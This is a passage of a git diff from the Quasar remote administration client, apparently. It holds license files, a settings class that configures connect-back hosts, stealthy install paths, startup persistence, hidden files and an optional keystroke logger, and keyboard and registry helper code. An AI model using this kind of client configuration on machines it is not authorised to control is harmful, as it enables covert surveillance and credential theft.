to run, modify and propagate that work, subject to this -License. You are not responsible for enforcing compliance by third parties with this -License. - -An “entity transaction” is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an organization, or -merging organizations. If propagation of a covered work results from an entity -transaction, each party to that transaction who receives a copy of the work also -receives whatever licenses to the work the party's predecessor in interest had or -could give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if the predecessor -has it or can get it with reasonable efforts. - -You may not impose any further restrictions on the exercise of the rights granted or -affirmed under this License. For example, you may not impose a license fee, royalty, -or other charge for exercise of rights granted under this License, and you may not -initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging -that any patent claim is infringed by making, using, selling, offering for sale, or -importing the Program or any portion of it. - -### 11. Patents. - -A “contributor” is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The work thus -licensed is called the contributor's “contributor version”. - -A contributor's “essential patent claims” are all patent claims owned or -controlled by the contributor, whether already acquired or hereafter acquired, that -would be infringed by some manner, permitted by this License, of making, using, or -selling its contributor version, but do not include claims that would be infringed -only as a consequence of further modification of the contributor version. For -purposes of this definition, “control” includes the right to grant patent -sublicenses in a manner consistent with the requirements of this License. - -Each contributor grants you a non-exclusive, worldwide, royalty-free patent license -under the contributor's essential patent claims, to make, use, sell, offer for sale, -import and otherwise run, modify and propagate the contents of its contributor -version. - -In the following three paragraphs, a “patent license” is any express -agreement or commitment, however denominated, not to enforce a patent (such as an -express permission to practice a patent or covenant not to sue for patent -infringement). To “grant” such a patent license to a party means to make -such an agreement or commitment not to enforce a patent against the party. - -If you convey a covered work, knowingly relying on a patent license, and the -Corresponding Source of the work is not available for anyone to copy, free of charge -and under the terms of this License, through a publicly available network server or -other readily accessible means, then you must either (1) cause the Corresponding -Source to be so available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner consistent with -the requirements of this License, to extend the patent license to downstream -recipients. “Knowingly relying” means you have actual knowledge that, but -for the patent license, your conveying the covered work in a country, or your -recipient's use of the covered work in a country, would infringe one or more -identifiable patents in that country that you have reason to believe are valid. - -If, pursuant to or in connection with a single transaction or arrangement, you -convey, or propagate by procuring conveyance of, a covered work, and grant a patent -license to some of the parties receiving the covered work authorizing them to use, -propagate, modify or convey a specific copy of the covered work, then the patent -license you grant is automatically extended to all recipients of the covered work and -works based on it. - -A patent license is “discriminatory” if it does not include within the -scope of its coverage, prohibits the exercise of, or is conditioned on the -non-exercise of one or more of the rights that are specifically granted under this -License. You may not convey a covered work if you are a party to an arrangement with -a third party that is in the business of distributing software, under which you make -payment to the third party based on the extent of your activity of conveying the -work, and under which the third party grants, to any of the parties who would receive -the covered work from you, a discriminatory patent license (a) in connection with -copies of the covered work conveyed by you (or copies made from those copies), or (b) -primarily for and in connection with specific products or compilations that contain -the covered work, unless you entered into that arrangement, or that patent license -was granted, prior to 28 March 2007. - -Nothing in this License shall be construed as excluding or limiting any implied -license or other defenses to infringement that may otherwise be available to you -under applicable patent law. - -### 12. No Surrender of Others' Freedom. - -If conditions are imposed on you (whether by court order, agreement or otherwise) -that contradict the conditions of this License, they do not excuse you from the -conditions of this License. If you cannot convey a covered work so as to satisfy -simultaneously your obligations under this License and any other pertinent -obligations, then as a consequence you may not convey it at all. For example, if you -agree to terms that obligate you to collect a royalty for further conveying from -those to whom you convey the Program, the only way you could satisfy both those terms -and this License would be to refrain entirely from conveying the Program. - -### 13. Use with the GNU Affero General Public License. - -Notwithstanding any other provision of this License, you have permission to link or -combine any covered work with a work licensed under version 3 of the GNU Affero -General Public License into a single combined work, and to convey the resulting work. -The terms of this License will continue to apply to the part which is the covered -work, but the special requirements of the GNU Affero General Public License, section -13, concerning interaction through a network will apply to the combination as such. - -### 14. Revised Versions of this License. - -The Free Software Foundation may publish revised and/or new versions of the GNU -General Public License from time to time. Such new versions will be similar in spirit -to the present version, but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Program specifies that -a certain numbered version of the GNU General Public License “or any later -version” applies to it, you have the option of following the terms and -conditions either of that numbered version or of any later version published by the -Free Software Foundation. If the Program does not specify a version number of the GNU -General Public License, you may choose any version ever published by the Free -Software Foundation. - -If the Program specifies that a proxy can decide which future versions of the GNU -General Public License can be used, that proxy's public statement of acceptance of a -version permanently authorizes you to choose that version for the Program. - -Later license versions may give you additional or different permissions. However, no -additional obligations are imposed on any author or copyright holder as a result of -your choosing to follow a later version. - -### 15. Disclaimer of Warranty. - -THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER -EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE -QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE -DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - -### 16. Limitation of Liability. - -IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY -COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS -PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, -INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE -OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE -WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - -### 17. Interpretation of Sections 15 and 16. - -If the disclaimer of warranty and limitation of liability provided above cannot be -given local legal effect according to their terms, reviewing courts shall apply local -law that most closely approximates an absolute waiver of all civil liability in -connection with the Program, unless a warranty or assumption of liability accompanies -a copy of the Program in return for a fee. - -END OF TERMS AND CONDITIONS - -## How to Apply These Terms to Your New Programs - -If you develop a new program, and you want it to be of the greatest possible use to -the public, the best way to achieve this is to make it free software which everyone -can redistribute and change under these terms. - -To do so, attach the following notices to the program. It is safest to attach them -to the start of each source file to most effectively state the exclusion of warranty; -and each file should have at least the “copyright” line and a pointer to -where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - -If the program does terminal interaction, make it output a short notice like this -when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type 'show c' for details. - -The hypothetical commands 'show w' and 'show c' should show the appropriate parts of -the General Public License. Of course, your program's commands might be different; -for a GUI interface, you would use an “about box”. - -You should also get your employer (if you work as a programmer) or school, if any, to -sign a “copyright disclaimer” for the program, if necessary. For more -information on this, and how to apply and follow the GNU GPL, see -<>. - -The GNU General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may consider it -more useful to permit linking proprietary applications with the library. If this is -what you want to do, use the GNU Lesser General Public License instead of this -License. But first, please read -<>. \ No newline at end of file diff --git a/Licenses/Be.HexEditor_license.txt b/Licenses/Be.HexEditor_license.txt new file mode 100644 index 000000000..2f8576c92 --- /dev/null +++ b/Licenses/Be.HexEditor_license.txt @@ -0,0 +1,21 @@ +The MIT License + +Copyright (c) 2011 Bernhard Elbl + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/BouncyCastle_license.html b/Licenses/BouncyCastle_license.html new file mode 100644 index 000000000..829aa6ba3 --- /dev/null +++ b/Licenses/BouncyCastle_license.html @@ -0,0 +1,39 @@ + + + + + License + + +

The Bouncy Castle Cryptographic C#® API

+

License:

+The Bouncy Castle License
+Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc. +(https://www.bouncycastle.org)
+Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), to deal in the +Software without restriction, including without limitation the rights to use, copy, modify, merge, +publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", +WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO +EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+
+ + diff --git a/Licenses/GlobalMouseKeyHook_license.txt b/Licenses/GlobalMouseKeyHook_license.txt new file mode 100644 index 000000000..78d975775 --- /dev/null +++ b/Licenses/GlobalMouseKeyHook_license.txt @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2010-2018 George Mamaladze + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/Mono.Cecil_license.txt b/Licenses/Mono.Cecil_license.txt new file mode 100644 index 000000000..afd0ae681 --- /dev/null +++ b/Licenses/Mono.Cecil_license.txt @@ -0,0 +1,21 @@ +Copyright (c) 2008 - 2015 Jb Evain +Copyright (c) 2008 - 2011 Novell, Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/Open.Nat_license.txt b/Licenses/Open.Nat_license.txt new file mode 100644 index 000000000..cb71efb77 --- /dev/null +++ b/Licenses/Open.Nat_license.txt @@ -0,0 +1,23 @@ +The MIT License + +Copyright (C) 2006 Alan McGovern +Copyright (C) 2007 Ben Motmans +Copyright (C) 2014 Lucas Ontivero + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/ResourceLib_license.txt b/Licenses/ResourceLib_license.txt new file mode 100644 index 000000000..cd812d8ef --- /dev/null +++ b/Licenses/ResourceLib_license.txt @@ -0,0 +1,20 @@ +Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/SilkIcons_license.txt b/Licenses/SilkIcons_license.txt new file mode 100644 index 000000000..e1c6e8de7 --- /dev/null +++ b/Licenses/SilkIcons_license.txt @@ -0,0 +1,2 @@ +Silk icon set 1.3 by Mark James +http://www.famfamfam.com/lab/icons/silk/ diff --git a/Licenses/protobuf-net_license.txt b/Licenses/protobuf-net_license.txt new file mode 100644 index 000000000..692cf3bac --- /dev/null +++ b/Licenses/protobuf-net_license.txt @@ -0,0 +1,20 @@ +The core Protocol Buffers technology is provided courtesy of Google. +At the time of writing, this is released under the BSD license. +Full details can be found here: + +http://code.google.com/p/protobuf/ + + +This .NET implementation is Copyright 2008 Marc Gravell + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs new file mode 100644 index 000000000..82cc48c2e --- /dev/null +++ b/Quasar.Client/Config/Settings.cs @@ -0,0 +1,113 @@ +using Quasar.Common.Cryptography; +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; + +namespace Quasar.Client.Config +{ + /// + /// Stores the configuration of the client. + /// + public static class Settings + { +#if DEBUG + public static string VERSION = Application.ProductVersion; + public static string HOSTS = "localhost:4782;"; + public static int RECONNECTDELAY = 500; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = "Test"; + public static string INSTALLNAME = "test.exe"; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; + public static string STARTUPKEY = "Test key"; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; + public static string TAG = "DEBUG"; + public static string LOGDIRECTORYNAME = "Logs"; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = true; + + public static bool Initialize() + { + SetupPaths(); + return true; + } +#else + public static string VERSION = ""; + public static string HOSTS = ""; + public static int RECONNECTDELAY = 5000; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = ""; + public static string INSTALLNAME = ""; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = ""; + public static string STARTUPKEY = ""; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = ""; + public static string LOGDIRECTORYNAME = ""; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = false; + + public static bool Initialize() + { + if (string.IsNullOrEmpty(VERSION)) return false; + var aes = new Aes256(ENCRYPTIONKEY); + TAG = aes.Decrypt(TAG); + VERSION = aes.Decrypt(VERSION); + HOSTS = aes.Decrypt(HOSTS); + SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); + INSTALLNAME = aes.Decrypt(INSTALLNAME); + MUTEX = aes.Decrypt(MUTEX); + STARTUPKEY = aes.Decrypt(STARTUPKEY); + LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); + SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); + SetupPaths(); + return VerifyHash(); + } +#endif + + static void SetupPaths() + { + LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); + INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); + } + + static bool VerifyHash() + { + try + { + var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"), + Convert.FromBase64String(SERVERSIGNATURE)); + + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar.Client/Extensions/KeyExtensions.cs b/Quasar.Client/Extensions/KeyExtensions.cs new file mode 100644 index 000000000..9f6c5e0c0 --- /dev/null +++ b/Quasar.Client/Extensions/KeyExtensions.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace Quasar.Client.Extensions +{ + public static class KeyExtensions + { + public static bool ContainsModifierKeys(this List pressedKeys) + { + return pressedKeys.Any(x => x.IsModifierKey()); + } + + public static bool IsModifierKey(this Keys key) + { + return (key == Keys.LControlKey + || key == Keys.RControlKey + || key == Keys.LMenu + || key == Keys.RMenu + || key == Keys.LWin + || key == Keys.RWin + || key == Keys.Control + || key == Keys.Alt); + } + + public static bool ContainsKeyChar(this List pressedKeys, char c) + { + return pressedKeys.Contains((Keys)char.ToUpper(c)); + } + + public static bool IsExcludedKey(this Keys k) + { + // The keys below are excluded. If it is one of the keys below, + // the KeyPress event will handle these characters. If the keys + // are not any of those specified below, we can continue. + return (k >= Keys.A && k <= Keys.Z + || k >= Keys.NumPad0 && k <= Keys.Divide + || k >= Keys.D0 && k <= Keys.D9 + || k >= Keys.Oem1 && k <= Keys.OemClear + || k >= Keys.LShiftKey && k <= Keys.RShiftKey + || k == Keys.CapsLock + || k == Keys.Space); + } + + public static string GetDisplayName(this Keys key) + { + string name = key.ToString(); + if (name.Contains("ControlKey")) + return "Control"; + else if (name.Contains("Menu")) + return "Alt"; + else if (name.Contains("Win")) + return "Win"; + else if (name.Contains("Shift")) + return "Shift"; + return name; + } + } +} diff --git a/Quasar.Client/Extensions/ProcessExtensions.cs b/Quasar.Client/Extensions/ProcessExtensions.cs new file mode 100644 index 000000000..072b5ae74 --- /dev/null +++ b/Quasar.Client/Extensions/ProcessExtensions.cs @@ -0,0 +1,19 @@ +using Quasar.Client.Utilities; +using System.Diagnostics; +using System.Text; + +namespace Quasar.Client.Extensions +{ + public static class ProcessExtensions + { + public static string GetMainModuleFileName(this Process proc) + { + uint nChars = 260; + StringBuilder buffer = new StringBuilder((int)nChars); + + var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars); + + return success ? buffer.ToString() : null; + } + } +} diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Extensions/RegistryKeyExtensions.cs similarity index 79% rename from Client/Core/Extensions/RegistryKeyExtensions.cs rename to Quasar.Client/Extensions/RegistryKeyExtensions.cs index 6682ad49c..37cd7b456 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Client/Extensions/RegistryKeyExtensions.cs @@ -1,10 +1,14 @@ -using System.Collections.Generic; -using Microsoft.Win32; -using System.Linq; +using Microsoft.Win32; +using Quasar.Common.Utilities; using System; +using System.Collections.Generic; +using System.Linq; -namespace xClient.Core.Extensions +namespace Quasar.Client.Extensions { + /// + /// Provides extensions for registry key and value operations. + /// public static class RegistryKeyExtensions { /// @@ -24,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key) /// /// The key of which we obtain the value of. /// The name of the key. - /// The default value if value can not be determinated. + /// The default value if value can not be determined. /// Returns the value of the key using the specified key name. If unable to do so, /// defaultValue will be returned instead. public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") @@ -106,13 +110,12 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) /// /// The key of which the sub-key is to be deleted from. /// The name of the sub-key. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) { try { - key.DeleteSubKeyTree(name, false); + key.DeleteSubKeyTree(name, true); return true; } catch @@ -121,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) } } - #region Rename Key - /* * Derived and Adapted from drdandle's article, * Copy and Rename Registry Keys at Code project. @@ -145,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) /// The key of which the subkey is to be renamed from. /// The old name of the sub-key. /// The new name of the sub-key. - /// Returns boolean value if the action succeded or failed; Returns - /// + /// Returns true if the action succeeded, otherwise false. public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) { try { //Copy from old to new key.CopyKey(oldName, newName); - //Despose of the old key + //Dispose of the old key key.DeleteSubKeyTree(oldName); return true; } catch { - //Try to despose of the newKey (The rename failed) + //Try to dispose of the newKey (The rename failed) key.DeleteSubKeyTreeSafe(newName); return false; } @@ -172,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string /// The key of which the subkey is to be deleted from. /// The old name of the sub-key. /// The new name of the sub-key. - /// Returns nothing - /// public static void CopyKey(this RegistryKey key, string oldName, string newName) { //Create a new key @@ -194,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName) /// /// The source key to copy from. /// The destination key to copy to. - /// Returns nothing - /// private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) { @@ -221,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) } } - #endregion - - #region Region Value - /// /// Attempts to set a registry value for the key provided using the specified /// name, data and kind. If the registry value does not exist it will be created @@ -233,11 +225,31 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) /// The name of the value. /// The data of the value /// The value kind of the value - /// Returns a boolean value if the action succeded or failed. + /// Returns true if the action succeeded, otherwise false. public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) { try { + // handle type conversion + if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[])) + { + switch (kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + data = ByteConverter.ToString((byte[]) data); + break; + case RegistryValueKind.DWord: + data = ByteConverter.ToUInt32((byte[]) data); + break; + case RegistryValueKind.QWord: + data = ByteConverter.ToUInt64((byte[]) data); + break; + case RegistryValueKind.MultiString: + data = ByteConverter.ToStringArray((byte[]) data); + break; + } + } key.SetValue(name, data, kind); return true; } @@ -253,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data, /// /// The key of which the value is to be delete from. /// The name of the value. - /// Returns a boolean value if the action succeded or failed. + /// Returns true if the action succeeded, otherwise false. public static bool DeleteValueSafe(this RegistryKey key, string name) { try @@ -267,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name) } } - #region Rename Value - /// /// Attempts to rename a registry value to the key provided using the specified old /// name and new name. @@ -276,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name) /// The key of which the registry value is to be renamed from. /// The old name of the registry value. /// The new name of the registry value. - /// Returns boolean value if the action succeded or failed; Returns - /// + /// Returns true if the action succeeded, otherwise false. public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) { try { //Copy from old to new key.CopyValue(oldName, newName); - //Despose of the old value + //Dispose of the old value key.DeleteValue(oldName); return true; } catch { - //Try to despose of the newKey (The rename failed) + //Try to dispose of the newKey (The rename failed) key.DeleteValueSafe(newName); return false; } @@ -303,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string /// The key of which the registry value is to be copied. /// The old name of the registry value. /// The new name of the registry value. - /// Returns nothing - /// public static void CopyValue(this RegistryKey key, string oldName, string newName) { RegistryValueKind valueKind = key.GetValueKind(oldName); @@ -313,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam key.SetValue(newName, valueData, valueKind); } - #endregion - - #endregion - - #region Find - /// /// Checks if the specified subkey exists in the key /// /// The key of which to search. /// The name of the sub-key to find. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool ContainsSubKey(this RegistryKey key, string name) { foreach (string subkey in key.GetSubKeyNames()) @@ -343,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name) /// /// The key of which to search. /// The name of the registry value to find. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool ContainsValue(this RegistryKey key, string name) { foreach (string value in key.GetValueNames()) @@ -357,68 +356,27 @@ public static bool ContainsValue(this RegistryKey key, string name) return false; } - #endregion - /// /// Gets all of the value names associated with the registry key and returns /// formatted strings of the filtered values. /// /// The registry key of which the values are obtained. /// Yield returns formatted strings of the key and the key value. - public static IEnumerable GetFormattedKeyValues(this RegistryKey key) + public static IEnumerable> GetKeyValues(this RegistryKey key) { if (key == null) yield break; foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k))) { - yield return string.Format("{0}||{1}", k, key.GetValueSafe(k)); - } - } - - public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) - { - switch (valueKind) - { - case RegistryValueKind.Binary: - return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)"; - case RegistryValueKind.MultiString: - return string.Join(" ", (string[])valueData); - case RegistryValueKind.DWord: //Convert with hexadecimal before int - return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString()); - case RegistryValueKind.QWord: - return 